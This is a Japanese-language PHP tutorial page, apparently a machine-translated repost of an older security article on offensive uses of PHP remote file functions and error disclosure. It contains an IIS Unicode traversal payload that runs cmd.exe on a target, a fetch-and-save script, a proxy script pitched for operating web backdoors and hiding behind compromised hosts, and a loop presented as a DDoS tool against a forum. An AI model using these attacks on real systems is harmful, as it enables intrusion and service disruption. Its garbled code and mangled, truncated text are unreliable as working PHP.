ホームページ > php教程 > php手册 > セキュリティにおける PHP の代替アプリケーション

セキュリティにおける PHP の代替アプリケーション

WBOY
リリース: 2016-06-21 09:06:10
オリジナル
748 人が閲覧しました

安全性

1.リモートファイル

PHPはプログラマが様々な機能を簡単に実装できるようにするための機能が豊富な言語です:
コード
$fp =@Fopen($) url,"r") or die ("cannot open $url");
while($line=@fgets($fp,1024)) {
$contents.=$line;
}
echo $contents; //ファイルの内容を表示
fclose($fp); //ファイルを閉じる
?>

上記は、Fopen 関数を使用してファイルを開くコードです。Fopen 関数はリモート ファイルをサポートしているため、非常に興味深いです。 apply. 上記のコードを Proxy.php として保存し、送信します:

Code
/proxy.php?url=http://www.hacker.com.cn/bbs


この時点で、フォーラムの下に表示されるIPアドレスは、PHPスクリプトが配置されているサーバーのIPアドレスになります。 Fopen 関数は、他の Web サイトや FTP サイトからファイルを読み取ることができます。実際、リクエスト:

コード
/proxy.php?url=http://target / など、PHP のファイル処理関数のほとんどはリモート ファイルに対して透過的です。 script/..%c1%1c../winnt/system32/cmd.exe?/c+dir

これは実際にターゲットホストのUnicode脆弱性を悪用し、DIRコマンドを実行します。ただし、すべてのサーバーがリモート ファイル機能をサポートしているわけではありません。商用サーバーを使用している場合、リモート ファイルが使用できない場合があります (51 の仮想ホストなど)。これは、商用ホストではリモート ファイル機能が制限されているためです。 、多くの場合、サーバーの通常の動作をより適切に保護できます。サーバーがこの機能をサポートしているかどうかは、PHPinfo() を通じて確認できます。もちろん、Get_cfg_var() は、PHPinfo() が無効な場合にも使用できます:

Code
echo "リモートファイルの使用が許可されているかどうか (allow_url_Fopen)";
?php
if (get_cfg_var(" allow_url_Fopen ")=="1")
{
echo("is");
}
else echo("No");
?>

Allow_url_Fopen のパラメータの 1 つが ON の場合、リモート ファイル機能がサポートされます。リモート ファイルの特性を最大限に活用することで、多くの特別な機能を実現できます。最新バージョンの PHP Flame を使用している場合は、フォルダーのコピー、テキスト検索、その他の機能に加えて、Web ファイルが追加されていることがわかります。転送機能 この機能を利用すると、他のサーバー上のファイルを Web ディレクトリに自由に転送できます。さらに、2 つのサーバー間のファイル転送の転送速度は非常に高速です。この関数を実装するコードを見てみましょう:

Code
$fp = Fopen($_GET['filename'], 'rb') //ファイルを開きます
$data = $tmp = '';
while ( true ) {
$tmp = fgets($fp, 1024);
if ( 0 === strlen($tmp) ) {
while ループから抜け出す
}
$data .= $tmp;
}
fclose($fp); //ファイルを閉じる
$file=preg_replace("/^.+//","",$filename);//ファイル名を変換する
//write
$fp = Fopen( "$file", 'wb'); //ファイル生成
fwrite($fp, $data) //データを書き込む
fclose($fp);
?>

Fopen 関数と Fwrite 関数を呼び出すときに追加されます。「b」フラグを使用すると、データを損傷することなく、バイナリ ファイルに対してこれら 2 つの関数を安全に使用できます。上記のスクリプトを送信します:
/down.php?filename=http://www.chinaz.com/winrar.zip
対応する Winrar.zip ファイルが Down.php が配置されているディレクトリに生成されます。ディレクトリ横断機能と組み合わせることで、複数のフォルダサーバー間の転送を実現できます。ただし、SQL インジェクション攻撃用の自動スクリプトの作成や、HTTP プロキシ サービスなど、リモート ファイル用の余地がもっとあるはずです。 ("^http",$url)) //入力されたURL形式を確認してください
{
echo "例:
http://www.163.com/
";
echo "http :/ /www.xxxx.com/list.php?id=600
";
echo "URLがディレクトリの場合、ディレクトリの後に「/」を追加する必要があります";
exit;
}
if($ url)
$url=str_replace("\","/",$url);
$f=@Fopen($url,"r");//ファイルを開く
$a="";
if( $f)
{
while(!feof($f))
$a.=@fread($f,8000) //ファイルを読み込みます
fclose($f);
}
$rooturl = preg_replace(" /(. +/)(.*)/i","\1",$url); //ルートディレクトリを変換
$a = preg_replace("/(src[[:space:]]*=[' "])( [^h].*?)/is","\1$rooturl\2",$a);
$a = preg_replace("/(src[[:space:]]*=)( [^h' "].*?)/is","\1$rooturl\2",$a); //画像アドレスを変換します
$a = preg_replace("/(action[[:space:]]*=['"])([^h].*?)/is","\1$php_self?$rooturl\2",$a );
$a = preg_replace("/(action[[:space:]]*=)([^h'"].*?)/is","\1$php_self?$rooturl\2",$ a); //POSTアドレスを変換
$a = preg_replace("/( $a = preg_replace("/( $a = preg_replace("/(link.+?href[[:space :]]*=[^'"])(.*?)/is","\1$rooturl\2",$a);
$a = preg_replace("/(link.+?href[[: space:]]*=['"])(.*?)/is","\1$rooturl\2",$a); //スタイルシートアドレスを変換
echo $a;
exit;
?> ;

正規表現の助けを借りて、上記のコードは、返されたページに含まれるリンクと画像を自動的に変換し、ページ内のリンクを現在の PHP スクリプトの $url に自動的に送信できます。たとえば、次のように送信します:
/proxy.php?http://www.xfocus.net/
スクリプトは http://www.xfocus.net/ のコンテンツを返します。

もちろん、これは単なるフレームワーク手法以上のものを使用していることは間違いありません。このスクリプトを使用すると、他のサーバーに配置された Web バックドアをリモートで操作したり、ブロイラーを単純な HTTP プロキシに変えて IP をより適切に隠すことができます。 PHP を使用して CGI スキャン ツールを作成する場合は、PHP の有効実行時間を延長する必要があります。以下に 2 つの効果的な方法を示します。もちろん、PHP コードを GUI インターフェイスにコンパイルして、この問題を解決することもできます。 PHP の有効実行時間を 3 分に設定します:

Code

DDOS 攻撃でのこの関数の応用を見てください:

Code
< ?php
set_time_limit(60*3);
$url="http://www.xxx.com/bbs/userlist.php?userid= ";
for($i=1131;$i<=1180;$ i++)
{
$urls=$url.$i; //$urlと$iをリンク
$f=@Fopen($ urls,"r") //リクエスト$urls
$a=@fread( $f,10); //コンテンツを取得します
fclose($f); //$urls
}
?>

上記は、For ループを使用して Userlist.php?userid=$ のコンテンツを継続的にリクエストします。 i ($i の値は毎回異なります) ですが、開いた後は数バイトを取り出しただけで、スクリプトを閉じます。 PHP は仮想ホスト上で実行され、10 秒以内に数十の URL を開くことができます。複数のプロセスが同時に実行されている場合、DDOS 攻撃が実行され、相手のフォーラムがすぐにクラッシュする可能性があります。

スペースの関係で、ここではリモートファイルの内容について先に説明しますが、それでも理解できない場合は、次の記事を参照してください:「PHP でのリモートファイルの使用」

2.エラー エコー

PHP はデフォルトでエラー エコーをオンにし、これによりプログラマーがスクリプトをデバッグするときにコード エラーを見つけやすくなりますが、これにより多くの場合、PHP コードと一部のサーバー データが Web に公開されます。 PHP にはコードに対する厳しい規制要件があります。以下は比較的一般的なエラー エコーです:
警告: file("data/1120'.htm)-no such file or
/usr/home/xxxxx.com /show.php のディレクトリ。 300 行目
この種のエラー エコーは、少なくとも 3 つの情報を示します。サーバーのオペレーティング システムは LINUX であり、サーバーはテキスト データベースを使用しています。Show.php のコードの 300 行目は "file ("./data / 1120/".$data.".htm")"
この種のエラー エコーは、サーバーの致命的な脆弱性になるのに十分です。一般的な PHP エラー応答には、「警告」文字が含まれていることがわかりました。が使われていますが、それは何に使われるのでしょうか? まず PHP のライブラリ ファイルを理解する必要があります。PHP の Include() と Require() は主にコード ライブラリをサポートするためのもので、一般的には頻繁に使用される関数がいくつか含まれています。この別のファイルはコード ライブラリです。その中の関数を使用する必要がある場合は、このコード ライブラリを現在のファイルに含めるだけで済みます。コード ライブラリをメイン プログラム コードから読み出す場合、通常はコード ライブラリ ファイルに「.inc」拡張子を設定しますが、そのようなファイルは PHP インタプリタ Code If によって PHP に正しく解析できないため、これは間違いであることがすぐにわかりました。この種のファイルをサーバー上で直接リクエストすると、ファイルのソース コードが取得されます。これは、PHP を Apache モジュールとして使用する場合、PHP インタープリターがファイル拡張子に基づいて解析するかどうかを決定するためです。拡張子はサイト管理者によって指定され、通常は「.php」、「.php3」、「.php4」です。適切な拡張子がないと重要な設定データが PHP ファイルに含まれている場合、リモート攻撃者はこの情報を簡単に入手できます。プログラマの過去の習慣により、いくつかの重要なファイルは「config.inc」、「coon.inc」などの形式で設定されることがよくあります。検索エンジンで「warning+config.inc」を検索すると、次のようになります。多くの Web サイト、さらには多くの商用 Web サイトや政府 Web サイトでも、「.inc」ファイルのコードが公開されていることがわかります。PHP エラー エコーをオフにする方法は通常 2 つあります。1 つ目は、以前に紹介した Php.ini の設定を直接変更する方法です。2 つ目は、PHP スクリプトにエラー エコーを抑制するコードを追加する方法です。詳細については、PHP マニュアルの「error_reporting」セクションを参照してください。

3.変数エコー

WEN のセキュリティ問題は主に変数の処理に焦点が当てられており、変数の処理が不適切であるとさまざまなセキュリティ問題が発生します。まずは例を見てみましょう:

コード